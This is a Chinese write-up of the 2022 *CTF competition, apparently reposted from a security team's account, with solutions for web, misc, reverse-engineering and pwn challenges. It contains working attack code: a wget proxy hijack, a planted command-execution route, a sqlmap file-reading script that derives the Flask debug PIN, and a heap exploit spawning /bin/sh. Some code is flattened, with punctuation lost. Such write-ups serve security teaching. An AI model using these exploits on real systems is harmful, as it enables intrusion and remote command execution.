2022 startctf-wp

admin 2022年4月18日12:16:13评论287 views字数 16697阅读55分39秒阅读模式

点击蓝字 ·  关注我们

01

Web

1

oh-my-lotto

下载wget源码查看所有可以利⽤的环境变量

2022 startctf-wp

可以用于加载代理 所以我们上传一个代理配置 让wget设置 然后拦截对lotto的请求 修改返回包 即可获取flag。


2022 startctf-wp

把本地的burp转发到服务器上

ssh -p 22 -f -g -C -N -R 8080:127.0.0.1:8080 [[email protected]](mailto:[email protected])7

host添加解析

2022 startctf-wp

启动一个web服务 返回代理配置

from flask import Flask, make_responseimport secrets
app = Flask(__name__)
@app.route("/")def index(): lotto = [] for i in range(1, 20): n = str(secrets.randbelow(40)) lotto.append(n) r = 'n'.join(lotto) r = "http_proxy=http://120.26.59.137:8080" response = make_response(r) response.headers['Content-Type'] = 'text/plain' response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt' return response
if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=80)
本地启动以后 爆破一下md5

2022 startctf-wp

上传文件指定代理为我的服务器

POST /forecast HTTP/1.1Host: 121.36.217.177:53002User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------2363992665965896981350789360Content-Length: 249Origin: http://127.0.0.1:8880Connection: closeReferer: http://127.0.0.1:8880/forecastUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1X-Forwarded-For: 1.1.1.1X-Originating-IP: 1.1.1.1X-Remote-IP: 1.1.1.1X-Remote-Addr: 1.1.1.1-----------------------------2363992665965896981350789360Content-Disposition: form-data; name="file"; filename="2.jpg"Content-Type: image/jpeghttp_proxy=http://120.26.59.137:8080-----------------------------2363992665965896981350789360--

加载代理请求url 返回内容可控

POST /lotto HTTP/1.1Host: 121.36.217.177:53002 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------134338874213176516492993923776Content-Length: 324Origin: http://127.0.0.1:8880Connection: closeReferer: http://127.0.0.1:8880/lottoUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1X-Forwarded-For: 1.1.1.1X-Originating-IP: 1.1.1.1X-Remote-IP: 1.1.1.1X-Remote-Addr: 1.1.1.1-----------------------------134338874213176516492993923776Content-Disposition: form-data; name="lotto_key"WGETRC-----------------------------134338874213176516492993923776Content-Disposition: form-data; name="lotto_value"/app/guess/forecast.txt-----------------------------134338874213176516492993923776--

2022 startctf-wp

2

oh-my-lotto-revenge

出题人开启了debug [所以可以直接使用代理来替换app.py](http://所以可以直接使用代理来替换app.py)  

from flask import Flask, make_responseimport secretsapp = Flask(__name__)@app.route("/")def index():    lotto = []    for i in range(1, 20):        n = str(secrets.randbelow(40))        lotto.append(n)        r = 'n'.join(lotto)    # r = "http_proxy=http://120.26.59.137:8080"    r = open("exp1.py",'r').read()    response = make_response(r)    response.headers['Content-Type'] = 'text/plain'    response.headers['Content-Disposition'] = 'attachment; filename=app.py'    return responseif __name__ == "__main__":    app.run(debug=True, host='0.0.0.0', port=80)# 主要就是shell路由# @app.route("/edi", methods=['GET', 'POST'])# def index():#    return os.popen(request.query_string.get('edi')).read()

出题人用的是gunicorn来保持python运行 不会及时的重载(可能你以为这就结束了?)

完全可以使用bp拦截数据包 直到gunicorn重启worker。

2022 startctf-wp

你要做的就是不停的请求shell路由

2022 startctf-wp

3

oh-my-notepro

写个控制sqlmap的脚本

import osimport reimport sysimport hashlibfrom itertools import chain# Author: R1CH0ND from EDISEC# USAGE:# python3 readanything.py web1.txtdef load(dirname):    return Generic_Config + "--tech=S --sql-query='{}'".format("load data local infile "{}" into table shit".format(dirname))def read():    return Generic_Config + "--tech=E --sql-query="{}"".format("select go from shit")def loadNread(filename):    os.system(Generic_Config +              "--tech=S --sql-query='CREATE TABLE shit (go TEXT)'")    os.system(load(filename))    r = os.popen(read())    ret = r.read()    r.close()    return retprint(rv)#dirs = {'wangka':"/sys/class/net/eth0/address",'mid1':"/proc/sys/kernel/random/boot_id",'mid2':"/proc/self/cgroup"}packfile = sys.argv[1]Generic_Config = "sqlmap -r {} --random-agent --fresh-queries --batch -p note_id --dbms=mysql ".format(    packfile)wangka = re.findall(r"(w+:w+:w+:w+:w+:w+)",                    loadNread("/sys/class/net/eth0/address"))[0]cg = re.findall(r"docker/(w+)", loadNread("/proc/self/cgroup"))[0]mid = "1cc402dd0e11d5ae18db04a6de87223d"probably_public_bits = [    'ctf'  # /etc/passwd    'flask.app',  # 默认值    'Flask',  # 默认值    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 报错得到]private_bits = [    str(int(wangka.replace(":",""),16)),  # /sys/class/net/eth0/address 16进制转10进制    # machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup    # /proc/self/cgroup    mid+cg,]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:    h.update(b'pinsalt')    num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                          for x in range(0, len(num), group_size))            break    else:        rv = numprint(rv)
抓个包
GET /view?note_id=yvsn3yt4kdhtl2zfqsscl5i6l12mma0p HTTP/1.1Host: 124.70.185.87:5002User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: session=eyJjc3JmX3Rva2VuIjoiY2ViOWI0NWFkYjM2ZmQ3N2M1NTI0NDJmNjUwODJiZDI0YzcyOTgzNiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.Ylotsg.tKGQ3pgsO1RTw51C7lcCAgA0YfYUpgrade-Insecure-Requests: 1

然后执行python3 readanything.py web1.txt

把pin码搞出来

2022 startctf-wp

靶机挨个试,import os;os.system(”/readflag”)

4

oh-my-grafana

下载xxxx
admin 5f989714e132c9b04d4807dafeb10ade [http://124.70.163.46:3000](

2022 startctf-wp

蹭车 有配好的datasource

后来发现都是默认grafana grafana

sql查询

2022 startctf-wp

02

Misc

1

babyFL

train,多试几次

import tensorflowimport osimport tracebackimport numpy as npfrom tensorflow.keras import Sequentialfrom tensorflow.keras.layers import  Dense, Conv2D, Flatten, MaxPooling2Dfrom tensorflow import kerasfrom tensorflow.keras.models import load_modelfrom tensorflow.keras.datasets import mnistparticipant_number = 20def new_model():    model = Sequential()    model.add(Conv2D(10, (3, 3), input_shape=(28, 28, 1)))    model.add(MaxPooling2D(pool_size=(2, 2)))    model.add(Conv2D(20, (3, 3)))    model.add(Flatten())    model.add(Dense(units=100, activation='relu'))    model.add(Dense(units=10, activation='softmax'))    model.compile(loss=keras.losses.SparseCategoricalCrossentropy(), metrics=['accuracy'],                  optimizer=keras.optimizers.Adam(lr=0.001))    return modeldef load_test_data():    (_, _), (x, y) = mnist.load_data()    l = len(y)    for i in range(l):        y[i] = 9 - y[i]    x = x.reshape(-1, 28, 28, 1)    return x, y
def train_models(a='model'): (x, y), (_, _) = mnist.load_data() if a=='mymodel': l = len(y) for i in range(l):          y[i] = 9 - y[i] x = x.reshape(-1, 28, 28, 1) if a=='mymodel': model = new_model() model.fit(x, y, batch_size=64, epochs=6) for i in range(participant_number): model.save("./{}/".format(a)+str(i)) else: for i in range(4): model = new_model() model.fit(x, y, batch_size=64, epochs=5) model.save("./{}/".format(a)+str(5*i)) model.save("./{}/".format(a)+str(5*i+1)) model.save("./{}/".format(a)+str(5*i+2)) model.save("./{}/".format(a)+str(5*i+3))        model.save("./{}/".format(a)+str(5*i+4))def aggregation(parameters): print('aggregation') weights = [] for layer in parameters: sum = 0 l = len(layer) for temp in layer: sum = sum + temp weights.append(sum / l) # weights.append(layer[2]) model = new_model() l = len(model.get_weights()) model.set_weights(weights)    return modeldef test(model): print('test') my_x, my_y = load_test_data() loss, acc = model.evaluate(my_x, my_y, batch_size=64) print(acc) if acc > 0.95: print('great!') # f = open('./flag') # print(f.read()) else:        print("you fail", acc)def load_parameters(a='model'): print('load parameter') parameters = [] models = [] for i in range(participant_number): models.append(load_model("./{}/".format(a)+str(i))) for i in range(8): layer = [] for j in range(participant_number): temp = models[j].get_weights() layer.append(temp[i]) parameters.append(layer)    return parametersdef get_val(arr): if len(arr.shape) > 1: for temp in arr: get_val(temp) else: l = len(arr) for i in range(l):            arr[i] = float(input())def get_input_parameter(parameters): print('get input parameter') for layer in parameters: input_weight = np.zeros(layer[0].shape) print("next layer:") get_val(input_weight) layer.append(input_weight)    return parametersdef cal_input_para(raw_para,my_para): weights = [] for i in range(len(raw_para)): layer_raw=raw_para[i] layer_my=my_para[i] sum = 0 l = len(my_para) for temp in layer_my: sum = sum + temp my_weight=sum / l sum = 0 l = len(layer_raw)+1 for temp in layer_raw: sum = sum + temp weight=l*my_weight-sum weights.append(weight) # weights.append(layer[2])  return weightsdef get_input_parameter2(parameters,out): print('get input parameter') for i in range(len(parameters)): layer=parameters[i] # input_weight = np.zeros(layer[0].shape) input_weight = out[i] # print("next layer:") # get_val2(input_weight) layer.append(input_weight)    return parametersdef get_val2(arr): if len(arr.shape) > 1: for temp in arr: get_val2(temp) else: l = len(arr) for i in range(l):            arr[i] = float(1)train_models()train_models('mymodel')parameters1 = load_parameters()a=load_parameters()parameters2 = load_parameters('mymodel')parameters_out = cal_input_para(a,parameters2)get_input_parameter2(a,parameters_out)import picklepickle.dump(a,open('11.txt','wb'))model = aggregation(parameters1)test(model)model = aggregation(parameters2)test(model)model = aggregation(a)test(model)
提交参数
import picklea=pickle.load(open('11.txt','rb'))def foo2(arr,r):    if len(arr.shape) > 1:        for temp in arr:            # print('a')            foo2(temp,r)    else:        l = len(arr)        for i in range(l):            r.sendline(str(arr[i]))            # print(arr[i])            # arr[i] = float(input())def foo(parameters,r):    for i in range(8):        print('layer: {}'.format(i))        input_weight = a[i]        foo2(input_weight[20],r)from pwn import *r=remote("124.70.158.154",8081)r.recvuntil('next layer:n')foo(a,r)r.interactive()

2

Alice's challenge

核心原理是深度学习模型+梯度数据⇒(还原)⇒训练样本
找到这里[https://dlg.mit.edu/](https://dlg.mit.edu/)
理解梯度泄露攻击基本原理,代码稍微改下就能跑出来。
解题关键点有下面2个:
(1)逆向的模型结构
class AliceNet2(nn.Module):    def __init__(self):        super(AliceNet2, self).__init__()        act = nn.Sigmoid        self.conv = nn.Sequential(            nn.Conv2d(3, 12, kernel_size=5, padding=2, stride=2),            act(),            nn.Conv2d(12, 12, kernel_size=5, padding=2, stride=2),            act(),            nn.Conv2d(12, 12, kernel_size=5, padding=2, stride=1),            act(),            nn.Conv2d(12, 12, kernel_size=5, padding=2, stride=1),            act(),        )        self.fc = nn.Sequential(            nn.Linear(768, 200)        )    def forward(self, x):        out = self.conv(x)        out = out.view(out.size(0), -1)        out = self.fc(out)        return out
(2)加载题目给出的梯度
#dy_dx = torch.autograd.grad(y, net.parameters())dy_dx=torch.load('0.tensor') #0-24# Exchange gradient with other training nodesoriginal_dy_dx = list((_.detach().clone() for _ in dy_dx))
结果如下:

2022 startctf-wp

03

Re

1

Naci

2022 startctf-wp

2022 startctf-wp

#include <stdio.h>#define ROL(x, y) ((x<<y)|(x>>(32-y)))unsigned int data[] = {0x040506070x000102030x0C0D0E0F0x08090A0B0xCD3FE81B0xD7C454770x9F3E92360x0107F1870xF993CB810xBF74166C0xDA1984270x1A05ABFF0x9307E5E40xCB8B0E450x306DF7F50xAD3001970xAA86B0560x449263BA0x3FA4401B0x1E41F9170xC6CB1E7D0x18EB0D7A0xD4EC48000xB486F92B0x8737F9F30x765E3D250xDB3D35370xEE44552B0x11D0C94C0x9B605BCB0x903B98B30x24C2EEA30x896E10A20x2247F0C00xB84E5CAA0x8D2C04F00x3BC7842C0x1A50D6060x49A1917C0x7E1CB50C0xFC27B8260x5FDDDFBC0xDE0FC4040xB2B30907};int main(void){  unsigned int x = , y = , p;    for(int i = 0; i < 44; i++)  {      p = (ROL(x, 1)&ROL(x, 8))^ROL(x, 2)^y^data[i];    y = x;    x = p;    }  printf("%#x, %#x", x, y);  }

2022 startctf-wp

2022 startctf-wp

#include <stdio.h>#include <math.h> #define ROL(x, y) ((x<<y)|(x>>(32-y)))unsigned int data[] = {0x04050607, 0x00010203, 0x0C0D0E0F, 0x08090A0B, 0xCD3FE81B, 0xD7C45477, 0x9F3E9236, 0x0107F187, 0xF993CB81, 0xBF74166C, 0xDA198427, 0x1A05ABFF, 0x9307E5E4, 0xCB8B0E45, 0x306DF7F5, 0xAD300197, 0xAA86B056, 0x449263BA, 0x3FA4401B, 0x1E41F917, 0xC6CB1E7D, 0x18EB0D7A, 0xD4EC4800, 0xB486F92B, 0x8737F9F3, 0x765E3D25, 0xDB3D3537, 0xEE44552B, 0x11D0C94C, 0x9B605BCB, 0x903B98B3, 0x24C2EEA3, 0x896E10A2, 0x2247F0C0, 0xB84E5CAA, 0x8D2C04F0, 0x3BC7842C, 0x1A50D606, 0x49A1917C, 0x7E1CB50C, 0xFC27B826, 0x5FDDDFBC, 0xDE0FC404, 0xB2B30907};unsigned int enc[] = {0xFDF5C266, 0x7A328286, 0xCE944004, 0x5DE08ADC, 0xA6E4BD0A, 0x16CAADDC, 0x13CD6F0C, 0x1A75D936, 0};unsigned int key[] = {0x030201000x070605040x0B0A09080x0F0E0D0C};void decipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]){      unsigned int i;      unsigned int v0=v[0], v1=v[1], delta=0x10325476, sum=delta*num_rounds;    unsigned int x, y, p;     for (i=0; i < num_rounds; i++)   {          v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);          sum -= delta;          v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);      }    x = v1, y = v0;  for(int i = 0; i < 44; i++)  {      p = (ROL(y, 1)&ROL(y, 8))^ROL(y, 2)^x^data[43-i];    x = y;    y = p;    }  v[0] = x, v[1] = y;  }  int main(void){  unsigned int x, y, p;    for(int i = 0; i < 4; i++)  {    unsigned int *tmp = enc+2*i;    decipher(pow(2, i+1), enc+2*i, key);    for(int i = 0; i < 2; i++)      for(int j = 0; j < 4; j++)        printf("%c", ((char *)&tmp[i])[3-j]);  }}

2

Simple File System

查看文件信息

elf文件

2022 startctf-wp

静态分析

查看字符串 查找到这个关键词

2022 startctf-wp

找到这个关键逻辑 经过分析可以知道 当sub_1E16函数第三个参数等于1时 才能真正打开flag文件。

2022 startctf-wp

经过 下图加密函数后 输出到image.flag文件当中。

2022 startctf-wp

动调得到值

2022 startctf-wp

v4 = 0xDEEDBEEF

a2 = 0x1000

不过 我们既然指导加密函数了 我们就可以输入*CTF去加密 然后找到flag文件里面得密文

找到密文为

0x00, 0xD2, 0xFC, 0xD8, 0xA2, 0xDA, 0xBA, 0x9E, 0x9C, 0x26, 0xF8, 0xF6, 0xB4, 0xCE, 0x3C, 0xCC, 0x96, 0x88, 0x98, 0x34, 0x82, 0xDE, 0x80, 0x36, 0x8A, 0xD8, 0xC0, 0xF0, 0x38, 0xAE, 0x40

exp

data = [0x00, 0xD2, 0xFC, 0xD8, 0xA2, 0xDA, 0xBA, 0x9E, 0x9C, 0x26, 0xF8, 0xF6, 0xB4, 0xCE, 0x3C, 0xCC, 0x96, 0x88, 0x98, 0x34, 0x82, 0xDE, 0x80, 0x36, 0x8A, 0xD8, 0xC0, 0xF0, 0x38, 0xAE, 0x40]v4 = [0xEF, 0xBE, 0xED, 0xDE]def dcry(data,v4):    for i in range(len(data)):     v5 = data[i]     v5 = (v5 >> 3) | (v5 << 5)&0xff     v5 ^= v4[3]     v5 = (v5 >> 4) | (v5 << 4)&0xff     v5 ^= v4[2]     v5 = (v5 >> 5) | (v5 << 3)&0xff     v5 ^= v4[1]     v5 = (v5 >> 6) | (v5 << 2)&0xff     v5 ^= v4[0]     v5 = (v5 >> 7) | (v5 << 1)&0xff     data[i] = v5    return dataflag = dcry(data,v4)print(flag)print(''.join(map(chr,flag)))

2022 startctf-wp

04

Pwn

1

examination

# -*- encoding: utf-8 -*-import sys import os import requestsfrom pwn import * binary = './examination'os.system('chmod +x %s'%binary)context.update( os = 'linux', arch = 'amd64',timeout = 1)context.binary = binarycontext.log_level = 'debug'elf = ELF(binary)libc = elf.libc# libc = ELF('')DEBUG = 0if DEBUG:    libc = elf.libc    p = process(binary)else:    host = '124.70.130.92'    port = '60001'    p = remote(host,port)l64 = lambda            : ras(u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')))l32 = lambda            : ras(u32(p.recvuntil('xf7')[-4:].ljust(4,'x00')))uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'x00')))uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'x00')))rint= lambda x = 12     : ras(int( p.recv(x) , 16))sla = lambda a,b        : p.sendlineafter(str(a),str(b))sa  = lambda a,b        : p.sendafter(str(a),str(b))lg  = lambda name,data  : p.success(name + ': 33[1;36m 0x%x 33[0m' % data)se  = lambda payload    : p.send(payload)rl  = lambda            : p.recv()sl  = lambda payload    : p.sendline(payload)ru  = lambda a          : p.recvuntil(str(a))def ras( data ):    lg('leak' , data)    return datadef dbg( b = null):    if (b == null):        gdb.attach(p)        pause()    else:        gdb.attach(p,'b %s'%b)def cmd(num):    sla('>>',num)def tch_to_std():    cmd(5)    sla('<0.teacher/1.student>:' , 1)def std_to_tch():    cmd(5)    sla('<0.teacher/1.student>:' , 0)def add_std(num):    cmd(1)    sla('questions' , num)def score():    cmd(2)def one_add(addr):    cmd(2)    sla('addr: ' , addr)def add_cmt(idx , size , text = 'a'):    cmd(3)    sla('>' , idx)    sla('size of comment:' , size)    sa('enter your comment:n' , text)def edit_cmt(idx , text = 'a'):    cmd(3)    sla('>' , idx)    sa('enter your comment:n' , text)def delete(idx ):    cmd(4)    sla('choose?' , idx)def chid(idx ):    cmd(6)    sla('id:' , idx)# one_gad = one_gadget(libc.path)def attack():    sla('<0.teacher/1.student>:' , 0)    add_std(1)    add_cmt(0, 0x18)    add_std(1)    add_cmt(1, 0x3f8)    add_std(1)    add_std(1)    tch_to_std()    cmd(3)    chid(1)    cmd(3)    std_to_tch()    score()    tch_to_std()    cmd(2)    ru('0x')    heap_base = rint() & 0xfffffffff000    lg('target' , heap_base)    sla('addr:' , str(heap_base +0x2e0) + 'x00')    chid(1)    one_add(str(heap_base +0x2e0) + 'x00')    std_to_tch()    edit_cmt(0 , 'a'*0x18 + p16(0x400 + 0x50 + 1))    delete(1)    add_std(1)    add_cmt(20x3f8)    edit_cmt(0 , 'a'*0x18 + p16(0x400 + 0x50 + 1))    delete(3)    add_std(1)    tch_to_std()    chid(2)    score()    __malloc_hook = l64() - 0x70    libc.address = __malloc_hook - libc.sym['__malloc_hook']    system_addr = libc.sym['system']    __free_hook = libc.sym['__free_hook']    binsh_addr = libc.search('/bin/sh').next()    lg('__free_hook',__free_hook)    std_to_tch()    add_std(1)
payload = flat( heap_base + 0x390 , 0, 0,0, 0,0x21, 1,__free_hook-0x8, 0x20 ) edit_cmt(2 , payload)    edit_cmt(4 , flat('/bin/shx00' , system_addr )) delete(4)    # dbg() # p.success(getShell())    p.interactive()attack()


重点来了

你是否想要加入一个安全团
拥有更好的学习氛围?
那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。
欢迎各位大佬小白入驻,大家一起打CTF,一起进步。    
我们在挖掘,不让你埋没!
你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。
有意向的师傅请联系邮箱[email protected](带上自己的简历,简历内容包括自己的学习方向,学习经历等)

EDI安全

2022 startctf-wp

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):2022 startctf-wp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月18日12:16:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022 startctf-wphttp://cn-sec.com/archives/922033.html

发表评论

匿名网友 填写信息